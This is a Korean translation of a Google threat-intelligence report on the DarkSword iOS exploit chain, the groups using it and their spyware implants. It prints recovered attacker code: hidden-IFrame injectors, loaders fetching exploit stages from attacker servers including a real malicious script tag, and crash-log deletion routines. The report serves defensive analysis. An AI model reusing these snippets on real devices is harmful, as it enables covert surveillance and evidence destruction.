DarkSword의 확산: 다수의 위협 행위자가 채택한 iOS 익스플로잇 체인
Google Threat Intelligence Group
Google Threat Intelligence
Visibility and context on the threats that matter most.
Contact Us & Get a Demo해당 블로그의 원문은 2026년 3월 19일 Google Cloud 블로그(영문)에 게재되었습니다.
서론
구글 위협 인텔리전스 그룹(GTIG)은 다수의 제로데이(Zero-day) 취약점을 악용하여 기기를 완전히 장악하는 새로운 iOS 풀체인 익스플로잇을 식별했습니다. 복구된 페이로드(Payload)의 툴마크(Toolmarks)를 바탕으로, 우리는 이 익스플로잇 체인을 'DarkSword'라고 명명했습니다. GTIG는 최소 2025년 11월부터 다수의 상업용 감시 소프트웨어 업체와 국가 지원 배후로 의심되는 위협 행위자들이 각기 다른 캠페인에서 DarkSword를 활용하고 있는 것을 목격했습니다. 이러한 위협 행위자들은 사우디아라비아, 터키, 말레이시아, 우크라이나의 타겟들을 대상으로 이 익스플로잇 체인을 배포해 왔습니다.
DarkSword는 iOS 18.4부터 18.7 버전을 지원하며, 최종 단계 페이로드를 배포하기 위해 6가지의 서로 다른 취약점을 이용합니다. GTIG는 DarkSword를 통한 침해 성공 후 배포되는 세 가지 고유한 멀웨어 제품군인 GHOSTBLADE, GHOSTKNIFE, GHOSTSABER를 식별했습니다. 이 단일 익스플로잇 체인이 서로 다른 여러 위협 행위자들 사이에서 확산되는 양상은 이전에 발견된 Coruna iOS 익스플로잇 키트와 유사합니다. 특히, 이전에 Coruna를 사용한 것으로 확인된 러시아 스파이 활동 의심 그룹인 UNC6353은 최근 자신들의 워터링 홀(Watering hole) 캠페인에 DarkSword를 통합했습니다.
본 블로그 게시물에서는 서로 다른 위협 행위자들이 DarkSword를 어떻게 사용했는지 살펴보고, 최종 단계 페이로드에 대한 분석과 DarkSword가 악용한 취약점들에 대해 설명합니다. GTIG는 2025년 말에 DarkSword에 사용된 취약점들을 애플(Apple)에 보고했으며, 모든 취약점은 iOS 26.3 릴리스와 함께 패치되었습니다(대부분은 그 이전에 패치됨). 구글은 DarkSword 배포와 관련된 도메인들을 세이프 브라우징(Safe Browsing)에 추가했으며, 사용자들이 iOS 기기를 최신 버전으로 업데이트할 것을 강력히 권고합니다. 업데이트가 불가능한 경우에는 보안 강화를 위해 잠금 모드(Lockdown Mode)를 활성화할 것을 추천합니다.
이 연구는 업계 파트너인 Lookout 및 iVerify와 협력하여 발표되었습니다.
탐지 타임라인
GTIG는 2025년 11월까지 거슬러 올라가는 DarkSword 익스플로잇 체인의 여러 사용자들을 식별했습니다. 본 블로그에 기록된 DarkSword 사용 사례 연구 외에도, 다른 상업용 감시 소프트웨어 업체나 위협 행위자들 역시 DarkSword를 사용하고 있을 가능성이 높다고 판단하고 있습니다.


그림 1: DarkSword 발견 및 취약점 패치 타임라인
스냅챗 테마 웹사이트를 통한 사우디아라비아 사용자 표적 공격 (UNC6748)
2025년 11월 초, GTIG는 위협 클러스터인 UNC6748이 스냅챗(Snapchat) 테마의 웹사이트 snapshare[.]chat을 활용해 사우디아라비아 사용자를 타겟팅하는 것을 확인했습니다(그림 2). 해당 웹사이트의 랜딩 페이지에는 다양한 난독화 기술이 혼합된 자바스크립트(JavaScript) 코드가 포함되어 있었으며, 이는 frame.html에서 다른 리소스를 불러오는 새로운 IFrame을 생성했습니다(그림 3). 랜딩 페이지의 자바스크립트는 또한 uid라는 이름의 세션 스토리지 키를 설정하고, 다음 배포 단계를 가져오는 IFrame을 생성하기 전에 해당 키가 이미 설정되어 있는지 확인했습니다. 우리는 이것이 이전에 감염된 피해자의 재감염을 방지하기 위한 조치라고 판단합니다. 2025년 11월 내내 이어진 UNC6748에 대한 후속 관찰에서, 그들이 분석을 방해하기 위해 안티 디버깅(Anti-debugging) 및 추가 난독화를 포함하도록 랜딩 페이지를 업데이트한 것을 목격했습니다. 또한 공격자가 크롬(Chrome) 사용자를 감염시키려 할 때 x-safari-https 프로토콜 핸들러를 사용하여 페이지를 사파리(Safari)에서 강제로 열도록 하는 추가 코드를 확인했습니다(그림 4). 이는 당시 UNC6748이 크롬용 익스플로잇 체인을 보유하지 않았음을 시사합니다. 감염 과정에서 피해자는 활동을 위장하기 위해 실제 스냅챗 웹사이트로 리디렉션됩니다.
frame.html은 메인 익스플로잇 로더인 rce_loader.js를 로드하는 새로운 script 태그를 동적으로 삽입하는 단순한 HTML 파일입니다(그림 5). 로더는 후속 단계에서 사용되는 몇 가지 초기화 작업을 수행하고, XMLHttpRequest를 사용하여 서버에서 원격 코드 실행(RCE) 익스플로잇을 가져옵니다(그림 6).
우리는 2025년 11월 내내 UNC6748의 활동을 여러 차례 관찰했으며, 그 과정에서 감염 프로세스에 크고 작은 업데이트가 이루어진 것을 확인했습니다.
-
처음 관찰된 UNC6748 활동은
rce_module.js와rce_worker_18.4.js라는 두 파일로 나뉜 하나의 RCE 익스플로잇만 지원했습니다(그림 7). 이 익스플로잇은 주로 WebKit 및 Apple Safari에서 사용되는 자바스크립트 엔진인 JavaScriptCore의 메모리 손상 취약점인 CVE-2025-31277과dyld의 포인터 인증 코드(PAC) 우회 취약점인 CVE-2026-20700을 활용했습니다. -
며칠 후,
rce_worker_18.6.js라는 또 다른 RCE 익스플로잇이 추가된 활동을 확인했습니다(그림 8). 이 익스플로잇은 동일한 파일 내에서 CVE-2026-20700 익스플로잇과 함께 JavaScriptCore의 또 다른 메모리 손상 취약점인 CVE-2025-43529를 사용했습니다.-
로더는
rce_module_18.6.js페이로드도 가져오도록 수정되었으나, 이 페이로드는 다른 곳에서 사용되지 않는 단순한 함수만 정의하고 있었습니다. -
하지만 이를 위해 구현된 로직은 기기 버전이 18.6이 아닌 경우 iOS 18.4 익스플로잇을 올바르게 제공하지 못했으며, 두 달 전인 2025년 9월에 출시된 iOS 18.7의 존재를 고려하지 않았습니다. 이는 이 업데이트가 UNC6748이 이를 획득하거나 배포하기 몇 달 전에 이미 작성되었을 가능성을 시사합니다.
-
-
2025년 11월 말,
rce_worker_18.7.js라는 또 다른 모듈이 추가된 것을 관찰했습니다(그림 9). 이는rce_worker_18.6.js의 업데이트 버전으로, iOS 18.7을 지원하기 위한 오프셋(Offsets)이 추가되었습니다.-
이 경우 로더에 로직 결함이 있어 감지된 기기 버전과 관계없이 iOS 18.7용 익스플로잇을 로드했습니다.
-
우리가 관찰한 바에 따르면, UNC6748은 샌드박스 탈출 및 권한 상승을 위해 동일한 모듈을 사용했으며, 최종 페이로드로 GHOSTKNIFE를 사용했습니다.


그림 2: snapshare[.]chat 미끼 페이지
if (!sessionStorage.getItem("uid") && isTouchScreen) {
sessionStorage.setItem("uid", '1');
const frame = document.createElement("iframe");
frame.src = "frame.html?" + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = "none";
document.body.appendChild(frame);
} else {
top.location.href = "red";
}
그림 3: frame.html을 로드하는 랜딩 페이지 스니펫 (UNC6748, 2025년 11월)
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">document.write('<script defer=\"defer\" src=\"rce_loader.js\"\>\<\/script\>');</script>
</body>
</html>
그림 4: frame.html 콘텐츠 (UNC6748, 2025년 11월)
if (typeof browser !== "undefined" || !isIphone()) {
console.log("");
} else {
location.href = "x-safari-https://snapshare.chat/<redacted>";
}
그림 5: x-safari-https 사용을 보여주는 랜딩 페이지 코드 스니펫 (UNC6748, 2025년 11월)
function getJS(fname,method = 'GET')
{
try
{
url = fname;
print(`trying to fetch ${method} from: ${url}`);
let xhr = new XMLHttpRequest();
xhr.open("GET", `${url}` , false);
xhr.send(null);
return xhr.responseText;
}
catch(e)
{
print("got error in getJS: " + e);
}
}
그림 6: 추가 단계를 가져오는 로직을 보여주는 rce_loader.js 스니펫 (UNC6748, 2025년 11월)
let workerCode = "";
workerCode = getJS(`rce_worker_18.4.js`); // local version
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);
그림 7: 단일 RCE 익스플로잇 워커(Worker)가 로드되는 것을 보여주는 rce_loader.js 스니펫 (UNC6748, 2025년 11월)
let workerCode = "";
if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`); // local version
else
workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`); // local version
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);
그림 8: 서로 다른 RCE 익스플로잇 워커 지원(시도)을 보여주는 rce_loader.js 스니펫 (UNC6748, 2025년 11월)
let workerCode = "";
if(ios_version == '18,7')
workerCode = getJS(`rce_worker_18.7.js?${Date.now()}`); // local version
else
workerCode = getJS(`rce_worker_18.7.js?${Date.now()}`); // local version
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);
그림 9: iOS 18.7 지원이 추가된 rce_loader.js 스니펫 (UNC6748, 2025년 11월)
GHOSTKNIFE
이 활동에서 우리는 UNC6748이 GTIG에서 GHOSTKNIFE로 추적하는 백도어를 배포하는 것을 확인했습니다. 자바스크립트로 작성된 GHOSTKNIFE는 로그인된 계정, 메시지, 브라우저 데이터, 위치 기록 및 녹음 파일 등 다양한 유형의 데이터를 탈취하기 위한 여러 모듈을 가지고 있습니다. 또한 C2 서버로부터 파일을 다운로드하고, 스크린샷을 찍으며, 기기의 마이크를 통해 오디오를 녹음하는 기능도 지원합니다. GHOSTKNIFE는 HTTP 상에서 맞춤형 바이너리 프로토콜을 사용해 C2 서버와 통신하며, ECDH 및 AES 기반의 방식으로 데이터를 암호화합니다. 또한 C2 서버로부터 새로운 파라미터를 받아 구성을 업데이트할 수 있습니다.
GHOSTKNIFE는 실행 중에 /tmp/<uuid>.<numbers> 경로에 파일을 작성합니다. 여기서 uuid는 무작위로 생성된 UUIDv4 값이며, numbers는 하드코딩된 수자 시퀀스입니다. 해당 디렉터리 아래에 STORAGE, DATA, TMP를 포함한 여러 하위 폴더를 생성합니다. GHOSTKNIFE의 각 모듈이 실행될 때마다 관련 데이터를 /tmp/<uuid>.<numbers>/STORAGE/<uuid2>.<id>에 기록하는데, 여기서 id는 모듈의 숫자 값이고 uuid2는 또 다른 무작위 UUIDv4 값입니다. 추가로, GHOSTKNIFE는 예기치 않은 오류가 발생했을 때 흔적을 지우기 위해 기기에서 크래시 로그(Crash logs)를 주기적으로 삭제합니다(그림 10).
cleanLogs(){
let files = MyHelper.getContentsOfDir("/var/mobile/Library/Logs/CrashReporter/");
for(let file of files){//.ips // mediaplaybackd-" panic-full-
if(file.includes("mediaplaybackd") || file.includes("SpringBoard") || file.includes("com.apple.WebKit.") || file.includes("panic-full-") ){
MyHelper.deleteFileAtPath(file);
}
}
}
그림 10: 크래시 로그 삭제를 담당하는 GHOSTKNIFE 스니펫
터키 및 말레이시아 사용자 표적 캠페인 (PARS Defense)
2025년 11월 말, GTIG는 터키의 상업용 감시 소프트웨어 업체인 PARS Defense와 관련된 활동을 포착했습니다. 이들은 터키 내에서 iOS 18.4~18.7 버전을 지원하는 DarkSword를 사용했습니다. UNC6748의 활동과 달리, 이 캠페인은 운영 보안(OPSEC)에 더 많은 주의를 기울였습니다. 익스플로잇 로더와 일부 익스플로잇 단계에 난독화가 적용되었으며, 서버와 피해자 사이의 익스플로잇 데이터를 암호화하기 위해 ECDH 및 AES가 사용되었습니다(그림 11). 또한 PARS Defense가 사용한 난독화된 버전의 rce_loader.js는 감지된 iOS 버전에 따라 정확한 RCE 익스플로잇을 가져오도록 설계되었습니다(그림 12).
이후 2026년 1월, GTIG는 말레이시아에서 또 다른 PARS Defense 고객과 관련된 추가 활동을 관찰했습니다. 이 사례에서 우리는 해당 활동에 사용된 다른 로더를 수집할 수 있었는데, 여기에는 추가적인 기기 핑거프린팅(Fingerprinting) 로직이 포함되어 있었으며 uid 세션 스토리지 체크 방식도 사용되었습니다. 이 로더는 UNC6748과 마찬가지로 모든 체크를 통과하지 못한 타겟에 대해 top.location.href 리디렉션을 사용하며, 동시에 window.location.href도 동일한 URL로 설정하는 특성을 보였습니다(그림 13).
GTIG는 이 활동에서 사용된 다른 최종 페이로드인 GHOSTSABER 백도어를 식별했습니다.
function getJS(_0x12fba8) {
const _0x35744f = generateKeyPair();
const _0x4a6eb4 = exportPublicKeyAsPem(_0x35744f.publicKey);
const _0x1bc168 = self.btoa(_0x4a6eb4);
const _0x119092 = {
'a': _0x1bc168
};
_0x12fba8 = _0x12fba8.startsWith('/') ? _0x12fba8 : '/' + _0x12fba8;
const _0x1fedd2 = new XMLHttpRequest();
_0x1fedd2.open('POST', 'https://<redacted>' + (_0x12fba8 + '?' + Date.now()), false);
_0x1fedd2.setRequestHeader('Content-Type', 'application/json');
_0x1fedd2.send(JSON.stringify(_0x119092));
if (_0x1fedd2.status === 0xc8) {
const _0x362968 = JSON.parse(_0x1fedd2.responseText);
const _0x32efb2 = _0x362968.a;
const _0x46ca4b = _0x362968.b;
const _0xfae3b8 = b64toUint8Array(_0x32efb2);
const _0x2f4536 = b64toUint8Array(_0x46ca4b);
const _0xa36b4f = deriveAesKey(_0x35744f.privateKey, _0x2f4536);
const _0x36e338 = decryptData(_0xfae3b8, _0xa36b4f);
const _0x50186a = new TextDecoder().decode(_0x36e338);
return _0x50186a;
}
return null;
}
그림 11: DarkSword 로더에서 추출된 복구된(Deobfuscated) getJS() 스니펫 (PARS Defense, 2025년 11월)
let workerCode = '';
if (ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2' || ios_version == '18,7') {
workerCode = getJS('6cde159c.js?' + Date.now());
} else {
workerCode = getJS('a9bc5c66.js?' + Date.now());
}
let workerBlob = new Blob([workerCode], {
'type': 'text/javascript'
});
let workerBlobUrl = URL.createObjectURL(workerBlob);
그림 12: RCE 워커 로딩을 위한 복구된 스니펫 (PARS Defense, 2025년 11월)
if (!sessionStorage.getItem('uid') && canUseApplePay() && "standalone" in navigator && (CSS.supports("backdrop-filter: blur(10px)") || CSS.supports("-webkit-backdrop-filter: blur(10px)")) && document.pictureInPictureEnabled && !(typeof window.chrome === "object" && window.chrome !== null) && !('InstallTrigger' in window) && supportsWebGL2() && getDeviceInputInfo() && !("vibrate" in navigator) && debuggerCheck()) {
(() => {
function _0x45e723(_0x52731a) {
const _0x43f8d9 = generateKeyPair();
const _0x427066 = exportPublicKeyAsPem(_0x43f8d9.publicKey);
const _0x5cfee7 = self.btoa(_0x427066);
const _0x96910f = {
'a': _0x5cfee7
};
_0x52731a = _0x52731a.startsWith('/') ? _0x52731a : '/' + _0x52731a;
const _0x436cc4 = new XMLHttpRequest();
_0x436cc4.open("POST", 'https://<redacted>' + (_0x52731a + '?' + Date.now()), false);
_0x436cc4.setRequestHeader('Content-Type', "application/json");
_0x436cc4.send(JSON.stringify(_0x96910f));
if (_0x436cc4.status === 0xc8) {
const _0x4a4193 = JSON.parse(_0x436cc4.responseText);
const _0x362b30 = _0x4a4193.a;
const _0x536004 = _0x4a4193.b;
const _0x183b3f = b64toUint8Array(_0x362b30);
const _0x46bbee = b64toUint8Array(_0x536004);
const _0x43e600 = deriveAesKey(_0x43f8d9.privateKey, _0x46bbee);
const _0x2e0735 = decryptData(_0x183b3f, _0x43e600);
const _0x26a8b1 = new TextDecoder().decode(_0x2e0735);
return _0x26a8b1;
}
return null;
}
let _0x100ce6 = _0x45e723('6297d177.html?' + Math.random());
const _0x5f5a7d = document.createElement("iframe");
_0x5f5a7d.srcdoc = _0x100ce6;
_0x5f5a7d.style.height = 0x0;
_0x5f5a7d.style.width = 0x0;
_0x5f5a7d.style.border = 'none';
document.body.appendChild(_0x5f5a7d);
})();
} else {
top.location.href = "<legit website>";
window.location.href = '<legit website>';
}
그림 13: DarkSword 로더를 가져오는 복구된 랜딩 페이지 스니펫 (PARS Defense, 2026년 1월)
GHOSTSABER
GHOSTSABER는 PARS Defense가 사용하는 자바스크립트 백도어로, HTTP(S)를 통해 C2 서버와 통신합니다. 주요 기능으로는 기기 및 계정 열거, 파일 목록 조회, 데이터 탈취, 임의의 자바스크립트 코드 실행 등이 있으며, 지원되는 전체 명령 목록은 표 1에 상세히 설명되어 있습니다. 발견된 GHOSTSABER 샘플에는 실행에 필요한 코드가 누락된 여러 명령에 대한 참조가 포함되어 있는데, 여기에는 기기 마이크의 오디오 녹음 및 현재 지오로케이션(Geolocation) 정보를 C2 서버로 전송하는 기능 등이 포함됩니다. 이러한 명령들은 send_command_to_upper_process라는 함수를 사용하는데, 이 함수는 임플란트 내에서 달리 사용되지 않는 공유 메모리 영역에 데이터를 기록합니다. 우리는 이러한 명령들을 런타임에 구현하기 위해 C2 서버로부터 후속 바이너리 모듈을 다운로드할 가능성이 높다고 추정하고 있습니다.
UNC6353의 새로운 우크라이나 워터링 홀 활동
GTIG는 러시아 스파이 활동 그룹으로 의심되는 UNC6353이 우크라이나 사용자를 겨냥한 새로운 워터링 홀(Watering hole) 캠페인에 DarkSword를 활용하는 것을 포착했습니다. 최근 블로그 게시물에서 언급했듯이, 우리는 2025년 여름부터 UNC6353을 우크라이나 웹사이트에 워터링 홀 공격을 수행하여 Coruna를 배포하는 위협 클러스터로 추적해 왔습니다. 최소 2025년 12월부터 시작되어 2026년 3월까지 이어진 이번 새로운 활동은 DarkSword 익스플로잇 체인을 사용해 GHOSTBLADE를 배포합니다. GTIG는 이 활동을 완화하기 위해 CERT-UA에 통보하고 협력했습니다.
침해된 우크라이나 웹사이트들은 UNC6353 서버인 static.cdncounter[.]net에서 첫 번째 배포 단계를 가져오는 악성 script 태그를 포함하도록 업데이트되었습니다(그림 14). 이 스크립트(그림 15)는 동적으로 새로운 IFrame을 생성하고 그 소스를 동일한 서버의 index.html 파일로 설정합니다(그림 16). index.html은 UNC6748 및 PARS Defense가 사용한 랜딩 페이지 로직과 일부 겹치는 부분이 있지만, 세션의 현재 상태를 확인하지 않고 uid 세션 스토리지 키를 설정하며, "uid가 여전히 필요하면 그냥 설치해"라는 뜻의 러시아어 주석이 포함되어 있습니다.
주목할 점은 UNC6353이 사용한 DarkSword 버전은 iOS 18.4-18.6만 지원했다는 것입니다. 이전에 UNC6748과 PARS Defense가 사용한 DarkSword는 iOS 18.7도 지원했던 반면, UNC6353은 더 늦은 시기에 활동했음에도 불구하고 이를 지원하지 않았습니다. 그러나 이 버전에 사용된 로더는 UNC6748의 초기 사례와 달리, 실행 중인 iOS 버전에 해당하는 RCE 모듈을 올바르게 로드하는 모습을 보였습니다(그림 17).
<script async src="https://static.cdncounter.net/widgets.js?uhfiu27fajf2948fjfefaa42"></script>
그림 14: UNC6353이 사용한 악성 script 태그 (2026년 3월)
(function () {
const iframe = document.createElement("iframe");
iframe.src = "https://static.cdncounter.net/assets/index.html";
iframe.style.width = "1px";
iframe.style.height = "1px";
iframe.style.border = "0";
iframe.style.position = "absolute";
iframe.style.left = "-9999px";
iframe.style.opacity = "0.01";
// важно для Safari
iframe.setAttribute(
"sandbox",
"allow-scripts allow-same-origin"
);
document.body.appendChild(iframe);
})();
그림 15: widgets.js (UNC6353, 2026년 3월)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Test Page</title>
</head>
<body>
<script>
// если uid всё ещё нужен — просто устанавливаем
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.width = '1px';
frame.style.opacity = '0.01'
frame.style.position = 'absolute';
frame.style.left = '-9999px';
frame.style.height = '1px';
frame.style.border = 'none';
document.body.appendChild(frame);
</script>
</body>
</html>
그림 16: index.html (UNC6353, 2026년 3월)
let workerCode = "";
if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`); // local version
else
workerCode = getJS(`rce_worker_18.4.js?${Date.now()}`); // local version
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);
그림 17: RCE 익스플로잇 워커를 로드하는 rce_loader.js 스니펫 (UNC6353, 2026년 3월)
GHOSTBLADE
워터링 홀을 통한 기기 감염 이후, UNC6353은 GTIG가 GHOSTBLADE로 추적하는 멀웨어 제품군을 배포했습니다. GHOSTBLADE는 자바스크립트로 작성된 데이터 마이너(Dataminer)로, 침해된 기기에서 광범위한 데이터를 수집하고 탈취합니다(표 2). GHOSTBLADE에 의해 수집된 데이터는 HTTP(S)를 통해 공격자가 제어하는 서버로 유출됩니다. GHOSTKNIFE나 GHOSTSABER와 달리 GHOSTBLADE는 기능이 더 제한적이며 추가 모듈이나 백도어와 같은 기능을 지원하지 않습니다. 또한 지속적으로 작동하지도 않습니다. 하지만 GHOSTKNIFE와 마찬가지로 GHOSTBLADE 역시 크래시 보고서를 삭제하는 코드를 포함하고 있으나, 로그가 저장되는 다른 디렉터리를 대상으로 합니다(그림 18). 이번 활동에서 관찰된 GHOSTBLADE 샘플에는 코드 내의 수많은 주석과 함께 전체 디버그 로깅(Debug logging)이 포함되어 있었습니다.
특히 GTIG가 분석한 GHOSTBLADE 샘플에는 DarkSword가 지원하는 최소 버전인 iOS 18.4 이상 버전에서 코드를 조건부로 실행하는 주석과 코드 블록이 포함되어 있습니다(그림 19. 여기서 ver은 XNU 버전을 반환하는 uname 명령 결과에서 파싱된 값입니다). 이는 이 페이로드가 DarkSword에서 지원하지 않는 iOS 18.4 미만 버전에서의 실행도 지원하고 있음을 시사합니다.
static deleteCrashReports()
{
this.getTokenForPath("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true);
libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__["default"].deleteDir("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true);
}
그림 18: 크래시 로그 삭제에 사용되는 GHOSTBLADE 코드 스니펫
// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
if (ver.major == 24 && ver.minor >= 4) {
mutexPtr = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("malloc", 0x100));
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("pthread_mutex_init", mutexPtr, null);
migFilterBypass = new MigFilterBypass(mutexPtr);
}
그림 19: GHOSTBLADE에서 iOS 18.4 이상일 때 조건부로 실행되는 코드
DarkSword 익스플로잇 체인
앞서 언급했듯이, DarkSword는 취약한 iOS 기기를 완전히 장악하고 커널 권한으로 최종 페이로드를 실행하기 위해 6가지의 서로 다른 취약점을 사용합니다(표 3). Coruna와 달리 DarkSword는 제한된 iOS 버전(18.4-18.7)만 지원하며, 각 익스플로잇 단계는 기술적으로 정교하지만 이를 로드하는 메커니즘은 Coruna에 비해 기초적이고 견고함이 떨어지는 편이었습니다.
또한 Coruna와 다른 점은, DarkSword가 익스플로잇 체인의 모든 단계와 최종 페이로드에 순수 자바스크립트(JavaScript)만을 사용한다는 것입니다. 자바스크립트와 익스플로잇에 사용되는 네이티브 API 및 IPC 채널 사이를 연결하는 데는 고도의 정교함이 요구되지만, 이 방식을 사용하면 서명되지 않은 바이너리 코드의 실행을 차단하는 iOS의 보안 기능인 페이지 보호 계층(PPL)이나 보안 페이지 테이블 모니터(SPTM) 우회를 위한 취약점을 별도로 찾을 필요가 없다는 이점이 있습니다.


그림 20: DarkSword 감염 체인
익스플로잇 배포
UNC6748, PARS Defense, 그리고 UNC6353이 사용한 익스플로잇 배포 방식에는 눈에 띄는 유사점과 차이점이 존재합니다. 우리는 각 위협 행위자가 DarkSword 개발자들이 제공한 기본 로직을 바탕으로 자신들의 배포 메커니즘을 구축했으며, 각자의 필요에 맞게 수정(Tweaks)을 가한 것으로 분석합니다. 세 위협 행위자 모두 uid 세션 스토리지 키를 일정 부분 사용했지만, 그 방식은 모두 달랐습니다.
-
우리는 UNC6748의 랜딩 페이지가 일관되게
uid키를 설정하고, 익스플로잇 로더를 가져오기 전에 이를 확인하는 것을 목격했습니다.-
UNC6748은 사용자가 감염 대상이 아닐 경우 리디렉션하기 위해
top.location.href속성만 설정했습니다.
-
-
PARS Defense는 2026년 1월에 같은 방식으로
uid키를 사용했지만, 2025년 11월에 처음 관찰된 활동에서는 이 키가 포함되지 않았습니다.-
UNC6748과 마찬가지로 PARS Defense는
top.location.href를 설정했지만, 동시에window.location.href도 동일한 값으로 설정했습니다.
-
-
UNC6353은
uid키를 설정하긴 했지만, 익스플로잇 로더를 가져오기 전에 이를 확인하지 않았습니다. 소스 코드에 포함된 주석은 그들이 후속 단계에서 이 키가 필요한지 여부를 알지 못했음을 시사합니다.
위협 행위자들의 각기 다른 사용 방식을 근거로, 우리는 이 세션 스토리지 체크 로직과 이후 UNC6748 및 UNC6353에서 관찰된 frame.html을 사용하여 rce_loader.js를 가져오는 로직이 DarkSword 익스플로잇 체인 개발자들에 의해 개발되었다고 평가합니다. 반면 2026년 1월 PARS Defense가 사용한 추가적인 핑거프린팅 로직과 2025년 11월 UNC6748이 사용한 안티 디버그 로직은, 해당 사용자들이 자신들의 운영 요구 사항을 더 잘 충족하기 위해 직접 작성했을 가능성이 높다고 분석합니다.
로더 (Loader)
우리가 관찰한 모든 활동은 PARS Defense의 암호화 추가와 같은 사소한 차이를 제외하면 사실상 동일한 익스플로잇 로더를 사용했습니다. 이 로더는 두 개의 RCE 익스플로잇에서 사용되는 웹 워커(Web Worker) 객체를 관리하고, RCE 익스플로잇 수명 주기 전반에 걸친 상태 전환(State transitions)을 처리합니다. 로더는 RCE 단계를 위해 rce_module.js와 rce_worker.js(예: rce_worker_18.4.js)의 변형된 이름으로 두 개의 파일을 가져옵니다. iOS 18.4 익스플로잇은 로더와 동일한 컨텍스트(Context)에서 eval을 통해 평가되는 주 모듈(Main module)과 웹 워커 스크립트(Web Worker script) 사이에 로직을 분할합니다. 이 두 개의 서로 다른 컨텍스트는 RCE 익스플로잇이 진행됨에 따라 postMessage를 사용하여 통신합니다. 반면 iOS 18.6/18.7 RCE 익스플로잇은 모든 익스플로잇 로직을 워커에 포함하고 있으며, 대응하는 rce_module.js 파일은 사용되지 않는 자리 표시자 함수(Placeholder function)만 가지고 있습니다(그림 21).
로더 모듈이 RCE 단계를 가져오는 정확성과 관련된 불일치성은 매우 흥미롭습니다. 한 가지 가능성은 UNC6353과 PARS Defense가 오류를 수동으로 수정했을 수 있다는 것입니다. 또 다른 가능성으로는 UNC6748이 다른 사용자들보다 먼저 익스플로잇 체인 업데이트를 받았고, 이후 DarkSword 개발자들이 해당 버그들을 수정했을 수도 있습니다.
// for displaying hex value
function dummyy(x) {
return '0x' + x.toString(16);
}
그림 21: rce_module_18.7.js 콘텐츠 (UNC6748, 2025년 11월)
원격 코드 실행 익스플로잇
GTIG는 DarkSword가 원격 코드 실행을 위해 WebKit 및 Apple Safari 브라우저에서 사용되는 자바스크립트 엔진인 JavaScriptCore의 두 가지 취약점을 악용하는 것을 관찰했습니다. iOS 18.6 이전 버전을 실행하는 기기의 경우, DarkSword는 애플이 iOS 18.6에서 패치한 JIT 최적화/타입 혼동(Type confusion) 버그인 CVE-2025-31277을 사용합니다. iOS 18.6-18.7을 실행하는 기기의 경우, GTIG의 보고 이후 애플이 iOS 18.7.3 및 26.2에서 패치한 JavaScriptCore의 DFG(Data Flow Graph) JIT 계층 내 가비지 컬렉션(Garbage collection) 버그인 CVE-2025-43529를 사용합니다. 두 익스플로잇 모두 고유한 fakeobj/addrof 원시 요소(Primitives)를 개발한 다음, 이를 기반으로 동일한 방식으로 임의 읽기/쓰기 원시 요소를 구축합니다.
두 취약점 모두 후속 익스플로잇 단계에서 임의의 코드를 실행하는 데 필요한 사용자 모드 포인터 인증 코드(PAC) 우회용 dyld 버그인 CVE-2026-20700과 직접적으로 연결(Chained)되어 사용되었습니다. 이 취약점은 GTIG의 보고 이후 애플이 iOS 26.3에서 패치했습니다.
샌드박스 탈출 익스플로잇
Safari는 신뢰할 수 없는 사용자 입력이 처리될 수 있는 브라우저의 여러 구성 요소를 격리하기 위해 다중 샌드박스(Sandbox) 계층을 사용하도록 설계되었습니다. DarkSword는 WebContent 샌드박스에서 GPU 프로세스로 먼저 우회(Pivoting)한 다음, 다시 GPU 프로세스에서 mediaplaybackd로 우회하는 두 가지 분리된 샌드박스 탈출 취약점을 사용합니다. 어떤 RCE 익스플로잇이 필요한지와 무관하게 동일한 샌드박스 탈출 익스플로잇이 사용되었습니다.
WebContent 샌드박스 탈출
이전에 Project Zero 등에서 논의한 바와 같이, Safari의 렌더러 프로세스(WebContent로 알려짐)는 신뢰할 수 없는 사용자 콘텐츠에 가장 쉽게 노출되기 때문에 포함될 수 있는 취약점의 피해 반경을 제한하기 위해 강력하게 샌드박스 처리되어 있습니다. 이를 우회하기 위해 DarkSword는 WebContent 샌드박스를 탈출하는 sbox0_main_18.4.js 또는 sbx0_main.js라는 익스플로잇을 가져옵니다. 이 익스플로잇은 특정 WebGL 작업에서 파라미터가 충분히 검증되지 않아 발생하는 ANGLE 취약점인 CVE-2025-14174를 악용하여 Safari의 GPU 프로세스 내에서 아웃오브바운드(Out-of-bounds) 메모리 작업을 유발하며, DarkSword 개발자들은 이를 통해 GPU 프로세스 내에서 임의의 코드를 실행합니다.
이 취약점은 애플과 GTIG에 의해 구글(ANGLE 개발사)에 보고되었으며, iOS 18.7.3 및 26.2 릴리스와 함께 Safari에서 패치되었습니다.
GPU 샌드박스 탈출
